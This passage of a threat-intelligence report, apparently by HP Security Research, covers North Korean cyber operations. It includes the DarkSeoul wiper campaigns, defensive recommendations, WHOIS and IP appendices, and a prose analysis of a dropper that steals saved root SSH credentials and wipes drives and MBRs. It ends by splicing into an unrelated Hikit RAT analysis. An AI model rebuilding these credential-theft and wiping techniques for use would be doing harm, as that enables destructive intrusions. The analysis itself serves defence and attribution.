were less experienced soldiers who fought on the +frontlines with spears and swords. Principes likely refers to more experienced Roman soldiers +who fought on the second line of battle. 375 +Figure 30 Defacement by Hastati.376 +Known tactics, techniques and procedures + Wiper malware +Targets +KBS TV377 +Entities targeted in Operation Troy378 +Malware summary +HP researchers had previously analyzed samples of the DarkSeoul dropper, and findings were +published in our annual HP Cyber Risk Report 2013. Analysis of this malware is included in +Appendix C. Analysis of additional malware used in these campaigns produced no new findings +and only corroborated what was found by external security researchers. These publicly available +analyses have been cited throughout the report. Some of the malware samples were no longer +publicly available. However, CrowdStrike obtained these missing samples before they +disappeared from the wild and conducted thorough analysis, which was released in their +subscription-only reports. While we cannot divulge detailed information from those reports, an +overview of the findings is provided below. +http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674? +http://www.roman-empire.net/army/army.html#earlylegion +http://eromang.zataz.com/2013/04/02/dark-south-korea-total-war-review/ +http://eromang.zataz.com/2013/04/02/dark-south-korea-total-war-review/ +http://www.mcafee.com/us/resources/white-papers/wp-dissecting-operation-troy.pdf +The majority of the malware used in cyber incidents attributed to North Korea were variations of +three types of malware: dropper, wiper, and IRC remote access trojan (RAT). CrowdStrike +attribution of this malware to North Korean actors stemmed from two primary factors: Korean +language characters found in the binaries and the propensity to specifically target South Korean +entities.379 +Dropper samples consistently targeted AhnLab Policy Center as a propagation method. This +information is corroborated in a Black Hat Asia 2014 presentation by Fortinet researcher Kyle +Yang.380 CrowdStrike +s report also briefly noted the use of an update server vector.381 Yang +analyzed the malware's update config metadata and matched its format to the AhnLab Policy +Center. To test its payload, Yang set up a server/client and executed the update through the +server. As Yang had predicted, it wiped the client.382 While the method for initial compromise of +the update server is not noted in detail, CrowdStrike +s report cites +collateral information + that +suggests targeted email attacks were used to gain initial entry, and policy servers were then +compromised. The upload server vector included a time-based logic bomb that allowed the wiper +to target a large number of systems, on a set time and date, with full permissions on all of the +targeted systems.383 +According to CrowdStrike, the wiper malware was dropped on the systems as AgentBase.exe. The +wiper used the Windows utility 'taskkill' to kill the processes pasvc.exe and clisvc.exe, which are +the main processes for the Ahnlab and Hauri antivirus applications.384 385 The wiper then +performed system reconnaissance, gathering drive information and operating system version. +Depending on the OS used, the wiper recursively deleted files on the file system, deleting the +Windows folder last. It then overwrote the MBR with the strings "HASTATI", "PRINCPES", +"PRINCIPES", or "PR!NCPES +.386 +While there are several variants of the wiper, all seem to have been used on the same date. It is +unclear why multiple wiper variants with slightly differing behavior were used for the same +campaign. One possible explanation is that multiple variants were used to minimize the +operational damage to the mission in the case of an early detection of one of the variants. For +example, if one wiper variant was compromised or detected by antivirus or IDS signatures, the +other variants may have differed enough to remain undetected, still resulting in mission success. +According to CrowdStrike, a third malware component downloaded an IRC RAT from various +compromised websites. This RAT is detected by Symantec as Backdoor.Prioxer. Prioxer has been +linked to other 2011 attacks on South Korea. It is unclear whether these downloaders were +CrowdStrike Intelligence Report CSIR-13013 +Yang, Kyle. Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond. Black Hat Asia, March 2014. +CrowdStrike Intelligence Report CSIR-13013 +Yang, Kyle. Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond. Black Hat Asia, March 2014. +CrowdStrike Intelligence Report CSIR-13013 +CrowdStrike Intelligence Report CSIR-13030 +Yang, Kyle. Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond. Black Hat Asia, March 2014. +CrowdStrike Intelligence Report CSIR-13030 +pushed out in the same update server vector as the wipers. However, the two malware types both +use the same packer 'Jokra' and both contain the strings +HASTATI" and "PRINCPES +.387 +Analysis +Based on the information above, we have identified strategic challenges that impact the +development of North Korea +s cyber warfare capabilities. We have also noted relevant +implications: +The North Korean regime strictly controls all Internet infrastructure,388 meaning cyber +activity by dissidents or autonomous hacker groups are very unlikely. In other words, any +cyber attacks originating in North Korea can be assumed to be state sponsored. For this +reason, according to defectors, the regime +s cyber operators do not typically launch +attacks directly from within North Korea. Instead, many regime-sponsored attacks are +launched from cells based in China, U.S., South Asia, Europe, and even South Korea.389 +North Korea has a limited number of outgoing connections.390 For this reason, there is a +low probability of DDoS originating from within. However, this does not preclude the use +of botnets with a local C2 server or the use of networks in third-party nations to launch +attacks. As seen in the July 2009 attacks on South Korean and U.S. targets, North Korea +has leveraged networks in countries such as Austria, Georgia, Germany, and even South +Korea and the U.S., in order to launch cyber attacks.391 North Korea will likely be forced to +rely on third parties for quite some time, due to its lack of sufficient infrastructure for +launching large-scale CNO. +Several outward facing websites are hosted in China and other countries. This implies two +possibilities: that North Korea +s infrastructure cannot handle a heavy incoming traffic load +or that the regime wants to separate the propaganda crafted for an outside target +audience from internally-focused propaganda. This arrangement seems unlikely to +change in the foreseeable future. +North Korea is known to have unstable power supplies393, which limits scalability of the +regime +s current CNO capabilities. This is another reason why expansion of CNO +capabilities using the nation +s own infrastructure seems unlikely in the foreseeable future. +North Korea is known to have monetary deficiencies,394 which further limit expansion of +infrastructure and CNO capabilities, at least without third-party aid. North Korea continues +to rely heavily on China for sustainment.395 +Although we see few instances of overt cyber operations, that North Korea reportedly +spends so much of its limited resources on training and equipping cyber operators speaks +volumes. The human element of the regime +s cyber war program, at least, has potential. +CrowdStrike Intelligence Report CSIR-13013 +http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf +http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/5 +http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf +http://www.theguardian.com/world/2009/jul/11/south-korea-blames-north-korea-cyber-attacks +http://binarycore.org/2012/05/30/investigating-north-koreas-netblock-part-3-topology/ +http://38north.org/2010/09/speak-loudly-and-carry-a-small-stick-the-north-korean-cyber-menace/ +http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf +http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf +Sanctions against North Korea and export laws prohibit the sale of certain technologies to +the regime.396 In other words, in order to obtain the technology needed for a cyber +warfare program, the regime must improvise. North Korea must develop its own +technology, manufacture technology using plans obtained via industrial espionage, or rely +on third parties to procure it for them. However, the regime has historically failed in its +attempts of large-scale production of electronic components. At present, North Korea +relies on China to provide much of its network hardware, including servers and routers.397 +It is unlikely that North Korea will compromise on its nuclear program, meaning sanctions +will likely be longstanding, and the regime will have to continue to rely on third parties to +procure technology. +Cyber incidents attributed to North Korean actors seem to follow distinct patterns: +According to reports by other researchers, the conventions and C2 structure used by +North Korean cyber actors show continuity and consistency over time. +The majority of the incidents attributed to North Korean actors consistently used wiper +malware. +Several of the incidents included defacements, with a different group taking credit each +time. Additionally, little information or attack history was found about any of the groups, +aside from information acknowledged in this report. These factors seem to indicate that a +single group may have been responsible for several attacks over time, using different +group names as a false flag. +On more than one occasion, the malware included provisions to disable security software +made by South Korean security company AhnLab. This detail strengthens the case that +the malware was written or modified to specifically target South Korean machines. +The attacks followed an explicit pattern: most were around the time of U.S. + South +Korean joint military exercises, while the others fell on a significant date or were in +response to political events. +The primary targets were South Korean and U.S. entities. While these nations are +traditionally targeted by the regime, it is also possible that South Korean entities are quick +to attribute any attack on their infrastructure to North Korean actors. In fact, in some +cases, South Korean reports were the only source of attribution. +Summary +Does North Korea have sufficient cyber infrastructure and cyber warfare capabilities to harm the +U.S. and its allies? While North Korea +s cyber warfare capabilities pale in comparison to those of +wealthier nations, the regime has made significant progress in developing its infrastructure and in +establishing cyber operations. The rate of this progress warrants a closer look at North Korea +motivations, TTPs, and capabilities. As noted above, North Korea views the U.S. and South Korea +as its primary adversaries. The U.S. and South Korea are high-tech nations with economies that +http://www.foxnews.com/world/2012/04/03/exclusive-cash-for-computers-is-un-busting-its-own-sanctions-in-north-korea/ +http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 +depend heavily on technology.398 In contrast, North Korea does not have a high tech culture. For +these reasons, we should not overestimate the regime +s advanced cyber capability, yet we should +never underestimate the potential impact of North Korea utilizing less advanced, quick-and-dirty +tactics like DDoS to cripple their high-tech targets. Both government and corporate entities are +susceptible to being targeted by North Korean cyber attacks. North Korean juche ideology places +the survival of the regime as its primary goal, and any perceived threat to the regime may be +targeted. Several attacks on U.S. and South Korean government, financial, and critical +infrastructure entities have been attributed to North Korean origins.. These attacks were often +preceded by or occurred in conjunction with North Korea voicing negative sentiments about the +targeted entities. As we saw with Iranian cyber actors in HPSR Security Briefing Episode 11,399 +state sponsored cyber actors often launch an attack in response to a political trigger. The same +pattern seems to apply to pro-North Korean cyber actors, who have launched attacks to coincide +with U.S. Independence Day and the anniversary of the start of the Korean War, as well as +propaganda and cyber attacks in response to joint military exercises between the U.S. and South +Korea.400 401 +As shown by North Korea's past behavior (which is consistent with their doctrine), they are easily +"pushed into a corner". At the slightest perceived threat, the regime responds with saber-rattling +and peacocking. The regime is extremely defensive and will, in turn, flex its muscles to show the +world how capable it is, even if this is an inaccurate display of their overall capabilities. +The regime fears losing its control and the nation +s culture to the ever-growing threat of outside +influence, as is evidenced in the regime +s reaction to the comedy film +The Interview +. The regime +has represented itself to its citizens as a powerful and capable entity and has used this status to +control the populace. For this reason, the regime +s leaders are forced to continually demonstrate +this strength and power, or an illusion thereof, both domestically and globally, in order to +maintain the status needed to ensure continued suppression of the population. This show of +power may require that the regime takes chances and stretches beyond its abilities at times, but +in the spirit of juche and songun, the regime will continue this fa +ade, fearful of losing the image +its leaders have worked so hard to maintain. +HP Security Research recommendations +North Korean cyber operations are not generally observed originating from home field IP address +space, so geo-IP based blocking of traffic originating from those net-blocks is ineffective. +http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH2.pdf +http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/HPSR-Threat-Intelligence-Briefing-Episode-11/ba-p/6385243#.U5HkbpRdV90 +http://www.zdnet.com/south-korea-braces-for-norths-cyberattacks-7000012587/ +http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war +Given that North Korea has capable and technically trained forces and will demonstrate their +power when they feel provoked, western entities should consciously avoid promoting ideas or +doctrine that is blatantly slanderous to the regime. Encouraging such ideas could cause those +entities to become a focal point for North Korean cyber attacks. +Due to the fact that North Korean infrastructure is aging and its resources are not able to keep up +with the rest of the world, entities with interesting R&D or IP (intellectual property) - especially +military in nature + could become targets of interest for North Korea. Interest in defense-related +IP and R&D could also stem from North Korea +s relationship with China. In the Chinese business +culture, taking another entity +s IP or R&D is not stealing + it is accepted as business as usual. It is +possible that North Korea, if under Chinese influence, would adopt the same attitude, given the +regime +s limited capacity for homegrown innovation. +Known DPRK targets have been limited primarily to South Korean and U.S. organizations and +government entities. For these targets, prudent measures should include: +Following traditional defense in depth approaches and security best practices +Monitoring for malware that disables Korean language antivirus software, such as +that from AhnLab +To protect against the attack vectors used in North Korean malware campaigns, +an advisable prevention tactic is to focus on hardening update/patch +management systems. These systems are appealing targets due to the potential +for a large impact +Appendix A + WHOIS records +WHOIS record for silibank.net: +Domain Name: silibank.net +Registry Domain ID: +Registrar WHOIS Server: whois.discount-domain.com +Registrar URL: http://www.onamae.com +Updated Date: 2014-03-11 17:27:55.0 +Creation Date: 2006-03-13 13:14:53.0 +Registrar Registration Expiration Date: 2015-03-13 03:14:53.0 +Registrar: GMO INTERNET, INC. +Registrar IANA ID: 49 +Registrar Abuse Contact Email: abuse@gmo.jp +Registrar Abuse Contact Phone: +Domain Status: ACTIVE +Registry Registrant ID: +Registrant Name: Whois Privacy Protection Service by MuuMuuDomain +Registrant Organization: Whois Privacy Protection Service by MuuMuuDomain +Registrant Street1: 2-7-21 Tenjin Chuo-ku +Registrant Street2: Tenjin Prime 8F +Registrant City: Fukuoka-shi +Registrant State/Province: Fukuoka +Registrant Postal Code: 810-0001 +Registrant Country: JP +Registrant Phone: 81-927137999 +Registrant Phone Ext: +Registrant Fax: 81-927137944 +Registrant Fax Ext: +Registrant Email: privacy@whoisprivacyprotection.info +Registry Admin ID: +Admin Name: Whois Privacy Protection Service by MuuMuuDomain +Admin Organization: Whois Privacy Protection Service by MuuMuuDomain +Admin Street1: 2-7-21 Tenjin Chuo-ku +Admin Street2: Tenjin Prime 8F +Admin City: Fukuoka-shi +Admin State/Province: Fukuoka +Admin Postal Code: 810-0001 +Admin Country: JP +Admin Phone: 81-927137999 +Admin Phone Ext: +Admin Fax: 81-927137944 +Admin Fax Ext: +Admin Email: privacy@whoisprivacyprotection.info +Registry Tech ID: +Tech Name: Whois Privacy Protection Service by MuuMuuDomain +Tech Organization: Whois Privacy Protection Service by MuuMuuDomain +Tech Street1: 2-7-21 Tenjin Chuo-ku +Tech Street2: Tenjin Prime 8F +Tech City: Fukuoka-shi +Tech State/Province: Fukuoka +Tech Postal Code: 810-0001 +Tech Country: JP +Tech Phone: 81-927137999 +Tech Phone Ext: +Tech Fax: 81-927137944 +Tech Fax Ext: +Tech Email: privacy@whoisprivacyprotection.info +Name Server: ns1.dns.ne.jp +Name Server: ns2.dns.ne.jp +WHOIS Record for kcna.kp: +inetnum: +175.45.176.0 - 175.45.179.255 +netname: STAR-KP +descr: Ryugyong-dong +descr: Potong-gang District +country: KP +admin-c: SJVC1-AP +tech-c: SJVC1-AP +status: ALLOCATED PORTABLE +mnt-by: APNIC-HM +mnt-lower: MAINT-STAR-KP +mnt-routes: MAINT-STAR-KP +remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +remarks: This object can only be updated by APNIC hostmasters. +remarks: To update this object, please contact APNIC +remarks: hostmasters and include your organisation's account +remarks: name in the subject line. +remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +mnt-irt: IRT-STAR-KP +changed: hm-changed@apnic.net 20091221 +source: APNIC +irt: IRT-STAR-KP +address: Ryugyong-dong Potong-gang District +e-mail: sahayod@loxley.co.th +abuse-mailbox: sahayod@loxley.co.th +admin-c: SJVC1-AP +tech-c: SJVC1-AP +auth: # Filtered +mnt-by: MAINT-STAR-KP +changed: sahayod@loxley.co.th 20120202 +source: APNIC +role: STAR JOINT VENTURE CO LTD - network administrat +address: Ryugyong-dong Potong-gang District +country: KP +phone: +66 81 208 7602 +fax-no: +66 2 240 3180 +e-mail: sahayod@loxley.co.th +admin-c: SJVC1-AP +tech-c: SJVC1-AP +nic-hdl: SJVC1-AP +mnt-by: MAINT-STAR-KP +changed: hm-changed@apnic.net 20091214 +source: APNIC +WHOIS Record for rodong.rep.kp: +inetnum: +175.45.176.0 - 175.45.179.255 +netname: +STAR-KP +descr: +Ryugyong-dong +descr: +Potong-gang District +country: +admin-c: +SJVC1-AP +tech-c: +SJVC1-AP +status: +ALLOCATED PORTABLE +mnt-by: +APNIC-HM +mnt-lower: MAINT-STAR-KP +mnt-routes: MAINT-STAR-KP +remarks: +-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +remarks: +This object can only be updated by APNIC hostmasters. +remarks: +To update this object, please contact APNIC +remarks: +hostmasters and include your organisation's account +remarks: +name in the subject line. +remarks: +-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +mnt-irt: +IRT-STAR-KP +changed: +hm-changed@apnic.net 20091221 +source: +APNIC +irt: +IRT-STAR-KP +address: +Ryugyong-dong Potong-gang District +e-mail: +sahayod@loxley.co.th +abuse-mailbox: sahayod@loxley.co.th +admin-c: +SJVC1-AP +tech-c: +SJVC1-AP +auth: +# Filtered +mnt-by: +MAINT-STAR-KP +changed: +sahayod@loxley.co.th 20120202 +source: +APNIC +role: +STAR JOINT VENTURE CO LTD - network administrat +address: +Ryugyong-dong Potong-gang District +country: +phone: ++66 81 208 7602 +fax-no: ++66 2 240 3180 +e-mail: +sahayod@loxley.co.th +admin-c: +SJVC1-AP +tech-c: +SJVC1-AP +nic-hdl: +SJVC1-AP +mnt-by: +MAINT-STAR-KP +changed: +hm-changed@apnic.net 20091214 +source: +APNIC +WHOIS Record for uriminzokkiri.com: +Domain Name : uriminzokkiri.com +PunnyCode : uriminzokkiri.com +Creation Date : 2003-02-09 00:00:00 +Updated Date : 2012-06-28 13:22:18 +Expiration Date : 2015-02-09 00:00:00 +Registrant: +Organization : chaoxianLiuYiYuBianJishe ShenYang Ban SHICHU +Name : Korea 615 Shenyang company +Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 +City : shenyangshi +Province/State : liaoningsheng +Country : china +Postal Code : 123456 +Administrative Contact: +Name : kim sejun +Organization : Shenyang xin neng yuang +Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 +City : shenyangshi +Province/State : liaoningsheng +Country : china +Postal Code : 123456 +Phone Number : +Fax : 86-024-22523102 +Email : hyk1979@hotmail.com +Technical Contact: Name : kim sejun +Organization : Shenyang xin neng yuang +Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 +City : shenyangshi +Province/State : liaoningsheng +Country : china +Postal Code : 123456 +Phone Number : +Fax : 86-024-22523102 +Email : hyk1979@hotmail.com +Billing Contact: +Name : kim sejun +Organization : Shenyang xin neng yuang +Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 +City : shenyangshi +Province/State : liaoningsheng +Country : china +Postal Code : 123456 +Phone Number : +Fax : 86-024-22523102 +Email : hyk1979@hotmail.com +WHOIS Record for ournation-school.com: +Domain Name: ournation-school.com +Registry Domain ID: +Registrar WHOIS Server:whois.paycenter.com.cn +Registrar URL:http://www.xinnet.com +Updated Date:2012-06-28 13:22:20 +Creation Date:2004-10-29 00:00:00 +Registrar Registration Expiration Date:2014-10-29 00:00:00 +Registrar:XINNET TECHNOLOGY CORPORATION +Registrar IANA ID:120 +Registrar Abuse Contact Email: supervision@xinnet.com +Registrar Abuse Contact Phone:+86.1087128064 +Domain Status: +Registry Registrant ID: +Registrant Name:Korea 615 Shenyang company +Registrant Organization:chaoxian liuyiyubianjishe shenyangbanshichu +Registrant Street:shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 +Registrant City:shenyangshi +Registrant State/Province:liaoningsheng +Registrant Postal Code:123456 +Registrant Country:China +Registrant Phone:+86.024 22523102 +Registrant Phone Ext: +Registrant Fax:+86.024 22523102 +Registrant Fax Ext: +Registrant Email:urimanager@silibank.com +Registry Admin ID: +Admin Name:Korea 615 Shenyang company +Admin Organization:Korea 615 Shenyang company +Admin Street:shenyang hepingqu xifudalu 615 hao 2 danyuan 6-1-5 +Admin City:shenyangshi +Admin State/Province:liaoningsheng +Admin PostalCode:123456 +Admin Country:China +Admin Phone:+86.024 22523102 +Admin Phone Ext: +Admin Fax:+86.024 22523102 +Admin Fax Ext: +Admin Email:urimanager@silibank.com +Registry Tech ID: +Tech Name:Korea 615 Shenyang company +Tech Organization:Korea 615 Shenyang company +Tech Street:shenyang hepingqu xifudalu 615 hao 2 danyuan 6-1-5 +Tech City:shenyangshi +Tech State/Province:liaoningsheng +Tech PostalCode:123456 +Tech Country:China +Tech Phone:+86.024 22523102 +Tech Phone Ext: +Tech Fax:+86.024 22523102 +Tech Fax Ext: +Tech Email:urimanager@silibank.com +Name Server:ns13.xincache.com +Name Server:ns14.xincache.com +DNSSEC:unsigned +WHOIS Record for chongryon.com: +Domain Name: chongryon.com +Registry Domain ID: 69711868_DOMAIN_COM-VRSN +Registrar WHOIS Server: whois.melbourneit.com +Registrar URL: http://www.melbourneit.com.au +Updated Date: 2014-03-26T00:31:24Z +Creation Date: 2001-04-20T06:45:46Z +Registrar Registration Expiration Date: 2015-04-20T06:45:46Z +Registrar: Melbourne IT Ltd +Registrar IANA ID: 13 +Registrar Abuse Contact Email: abuse@melbourneit.com.au +Registrar Abuse Contact Phone: +61.386242300 +Domain Status: ok +Registry Registrant ID: +Registrant Name: o guanin +Registrant Organization: o guanin +Registrant Street: "hujimi2-14-15," +Registrant City: chiyodaku +Registrant State/Province: tokyo +Registrant Postal Code: 1028138 +Registrant Country: JP +Registrant Phone: +81.332627111 +Registrant Phone Ext: +Registrant Fax: +Registrant Fax Ext: +Registrant Email: park2@mac.com +Registry Admin ID: +Admin Name: guanin o +Admin Organization: +Admin Street: "hujimi2-14-15," +Admin City: chiyodaku +Admin State/Province: tokyo +Admin Postal Code: 1028138 +Admin Country: JP +Admin Phone: +81.332627111 +Admin Phone Ext: +Admin Fax: +Admin Fax Ext: +Admin Email: park2@mac.com +Registry Tech ID: +Tech Name: Link Club +Tech Organization: Link Club +Tech Street: 5-39-6 Jingumae Shibuya-ku +Tech City: TOKYO +Tech State/Province: 150-0001 +Tech Postal Code: JP +Tech Country: JP +Tech Phone: +81.462643403 +Tech Phone Ext: +Tech Fax: +Tech Fax Ext: +Tech Email: mel-tech@hosting-link.ne.jp +Name Server: USR-NS1.LINKCLUB.JP +Name Server: USR-NS2.LINKCLUB.JP +DNSSEC: unsigned +URL of the ICANN WHOIS Data Problem Reporting System: http://wdrprs.internic.net +>>> Last update of WHOIS database: 2014-05-13T18:15:18Z +WHOIS Record for korea-np.co.jp: +Domain Information: [B%I%a%$%s>pJs] +a. [B%I%a%$%sL>] +KOREA-NP.CO.JP +e. [B$=$7$-$a$$] +B$+$V$7$-$,$$$7$c B$A$g$&$;$s$7$s$]$&$7$c +f. [BAH?%L>] +B3t<02q80] +[B>uBV] +Connected (2015/02/28) +[BEPO?G/7nF|] +1997/02/14 +[B@\B3G/7nF|] +1997/06/03 +[B:G=*99?7] +2014/03/01 01:16:34 (JST) +Appendix B + Sites found on North Korean IP space +smtp.star-co.net.kp +175.45.176.10 +airkoryo.com.kp +175.45.176.69 +smtp.start-di.net.kp +175.45.176.10 +spwebh2.star.net.kp +175.45.176.7 +spinef1.star.net.kp +175.45.176.10 +mail.silibank.net.kp +175.45.176.70 +spinef2.star.net.kp +175.45.176.11 +kcna.kp +175.45.176.71 +ns1.co.kp +175.45.176.15 +gnu.rep.kp +175.45.176.73 +ns1.com.kp +175.45.176.15 +vok.rep.kp +175.45.176.75 +ns1.edu.kp +175.45.176.15 +friend.com.kp +175.45.176.8 +ns1.gov.kp +175.45.176.15 +korelcfund.org.kp +175.45.176.8 +ns1.kptc.kp +175.45.176.15 +ns1.cooks.org.kp +175.45.176.8 +ns1.kptc.kp +175.45.176.15 +ns1.friend.com.kp +175.45.176.8 +ns1.net.kp +175.45.176.15 +ns1.gnu.rep.kp +175.45.176.8 +ns1.org.kp +175.45.176.15 +ns1.kcna.kp +175.45.176.8 +ns1.org.kp +175.45.176.15 +ns1.koredfund.org.kp 175.45.176.8 +ns1.rep.kp +175.45.176.15 +ns1.korelcfund.org.kp 175.45.176.8 +ns2.co.kp +175.45.176.16 +ns1.korfilm.com.kp +175.45.176.8 +ns2.com.kp +175.45.176.16 +ns1.ksf.com.kp +175.45.176.8 +ns2.edu.kp +175.45.176.16 +ns1.naenara.com.kp +175.45.176.8 +ns2.gov.kp +175.45.176.16 +ns1.rodong.rep.kp +175.45.176.8 +ns2.kptc.kp +175.45.176.16 +ns1.silibank.net.kp +175.45.176.8 +ns2.kptc.kp +175.45.176.16 +ns1.star-co.net.kp +175.45.176.8 +ns2.net.kp +175.45.176.16 +ns1.star-di.net.kp +175.45.176.8 +ns2.org.kp +175.45.176.16 +ns1.star.net.kp +175.45.176.8 +ns2.rep.kp +175.45.176.16 +ns1.vok.rep.kp +175.45.176.8 +friend.com.kp +175.45.176.39 +ns2.airkoryo.com.kp +175.45.176.8 +friend.com.kp +175.45.176.67 +friend.com.kp +175.45.176.9 +gnu.rep.kp +175.45.176.67 +gnu.rep.kp +175.45.176.9 +koredfund.org.kp +175.45.176.67 +koredfund.org.kp +175.45.176.9 +korelcfund.org.kp +175.45.176.67 +korelcfund.org.kp +175.45.176.9 +ksf.com.kp +175.45.176.67 +ns2.airkoryo.com.kp +175.45.176.9 +naenara.com.kp +175.45.176.67 +ns2.cooks.org.kp +175.45.176.9 +vok.rep.kp +175.45.176.67 +ns2.friend.com.kp +175.45.176.9 +rodong.rep.kp +175.45.176.68 +ns2.gnu.rep.kp +175.45.176.9 +ns2.kcna.kp +175.45.176.9 +friend.com.kp +175.45.177.77 +ns2.koredfund.org.kp 175.45.176.9 +koredfund.org.kp +175.45.177.77 +ns2.korelcfund.org.kp 175.45.176.9 +korelcfund.org.kp +175.45.177.77 +ns2.korfilm.com.kp +175.45.176.9 +naenara.com.kp +175.45.177.77 +ns2.ksf.com.kp +175.45.176.9 +vok.rep.kp +175.45.177.77 +ns2.naenara.com.kp +175.45.176.9 +mail.chosunexpo.com 175.45.178.101 +ns2.rodong.rep.kp +175.45.176.9 +ns3.kptc.kp +175.45.178.173 +ns2.silibank.rep.kp +175.45.176.9 +ns3.kptc.kp +175.45.178.173 +ns2.star-co.net.kp +175.45.176.9 +ns1.knic.com.kp +175.45.178.8 +ns2.star-di.net.kp +175.45.176.9 +ns1.knic.com.kp +175.45.178.8 +ns2.star.net.kp +175.45.176.9 +ns1.star.edu.kp +175.45.179.66 +ns2.vok.rep.kp +175.45.176.9 +ns1.star.edu.kp +175.45.179.66 +vok.rep.kp +175.45.176.9 +email.kp.col.cn +175.45.179.67 +gnu.rep.kp +175.45.177.73 +mail.star.edu.kp +175.45.179.69 +vok.rep.kp +175.45.177.75 +Appendix C + Analysis of DarkSeoul Dropper +Dropper +MD5: 9263e40d9823aecf9388b64de34eae54 +Also known as/detected as : + Dropper-FDH (McAfee) + Trojan:Win32/Dembr.A (Microsoft) + Trojan.Jokra (Symantec) +The dropper component that we examined was distributed as a UPX-packed binary. +Installation +When executed it creates the following files in the affected user +s %Temp% directory: +alg.exe: A legitimate binary used to open SSH connections with remote servers +MD5 e45cd9052dd3dd502685dfd9aa2575ca +Size: 166,912 bytes +conime.exe: A legitimate binary used to open SSH connections with remote servers +MD5: 6a702342e8d9911bde134129542a045b +Size: 153,600 bytes +~pr1.tmp: Payload - A destructive bash script +MD5: dc789dee20087c5e1552804492b042cd +Size: 1,186 bytes +Also known as/detected as: +KillMBR-FBIA (McAfee) +Trojan:SH/Kofornix.A (Microsoft) +Trojan.Jokra (Symantec) +AgentBase.exe: Payload - Win32 wiper component (see details below) +MD5: db4bbdc36a78a8807ad9b15a562515c4 +Size: 24,576 +Payload +attempts to connect to remote servers and upload a destructive bash script +After determining the location of user profile directories on the affected computer, the malware +searches these directories for configuration files and directories that may be associated with the +connection manager clients mRemote and SecureCRT. + mRemote +an open source tool for centrally managing remote server connections using a GUI +(Kevin Kline, 2008).69 This tool is no longer being actively developed or supported. + SecureCRT +a commercial SSH and Telnet client by VanDyke Software. +If an mRemote installation is located, the dropper reads the configuration file and checks if there +a NODE that is defined with +Username=root +Protocol=SSH +, and a password that is not blank. If +those conditions are satisfied it extracts the information. The password is decrypted after being +extracted. +If a SecureCRT installation is located, the dropper extracts information from sessions that have +Username=root, Protocol=SSH and a saved password. If these conditions are satisfied, the +username, hostname, port, and password are extracted. The password is then decrypted. +After extracting these connection and server details, the dropper uses the previously dropped alg. +exe and conime.exe to attempt to connect remote servers, upload and run the bash script +~pr1.tmp. +The bash script initially checks which UNIX it is running on (of HP-UX, SunOS, Linux, or AIX) and +then attempts to wipe the /kernel, /usr /etc and /home directories, thus rendering the machine +inoperative. +Win32 Wiper component +When the AgentBase.exe component is executed, it first attempts to stop the following processes, +presumably in order to evade detection: + pasvc.exe + policy agent from AhnLab + clisvc.exe + ViRobot ISMS from Hauri +It then enumerates all physical drives and overwrites the first 512 bytes with the string: +princpes +, effectively destroying the MBR (master boot record) of the affected drive. +It continues to look for removable and fixed drives, locates the root directory on these drives, and +then attempts to delete all files and folders in this directory. +Finally, the affected computer is shut down and rebooted, although if the wiping mechanisms +were successful then the machine will not be able to boot. +Learn more at +hp.com/go/hpsr +Hikit Analysis +Basic Description +Hikit consists of at least two generations of malware that provides basic RAT functionality. The first +generation of Hikit (referred to as +Gen 1 +) operates as a server and requires an externally exposed +network interface in order for an attacker to access the victim machine. The second generation of Hikit +(referred to as +Gen 2 +) uses the more traditional client model and beacons out to an attacker +s C2 +server. While the communication models shifted dramatically between Gen 1 and Gen 2, both +generations of Hikit retain the same basic RAT function consisting of remote command shell, file +management, network proxy and port forwarding. +Both Gen 1 and Gen 2 sub-families of Hikit consist of a main DLL (referred to as +the DLL +) that +contains the RAT functionality; a kernel driver (referred to as +the Driver +) with Gen 2 also employs an +additional component: a loader executable. The driver component of Gen 1 and Gen 2 are drastically +different in their operation and intent. For the Gen 1 sub-family of Hikit, the driver acts as a NDIS +(network) driver that is responsible for interfacing the DLL to the network while preventing a direct +WinSock interface from occurring. The Gen 1 Driver listens to network traffic arriving at the local +network interface and waits for a specific trigger string. The trigger string varies by Driver and DLL +sample. The Gen 2 Driver is a simpler system driver that acts as a rootkit to hide processes, registry +keys and network connections associated with Gen 2 activity on the victim +s system. +Gen 2 uses a standard client-server malware model meaning that the malware no longer requires a +direct Internet-facing network card, no longer uses a network driver for networking, and provides the +ability to network multiple Gen 2 samples behind a firewall with greater ease (from the attacker +perspective). The Gen 2 sub-family, however, no longer employs network stealth provided by the Gen 1 +network driver which exposes the C2 server addresses to analysts. +Each of the Hikit generations contains multiple sub-generations as the author(s) of Hikit have evolved +their code over time. There is a noticeable steep improvement over the code base of Gen 1 Hikit family +during its 2011 development period. The Gen 2 sub-generations share a similar improvement scale +between late 2011 and late 2013. +Evolution +The earliest known Hikit sample dates back to 31 March 2011. Known as the Gen 1.0 sub-generation of +Hikit Gen 1, the first known sample of Hikit deviated from the later traditional 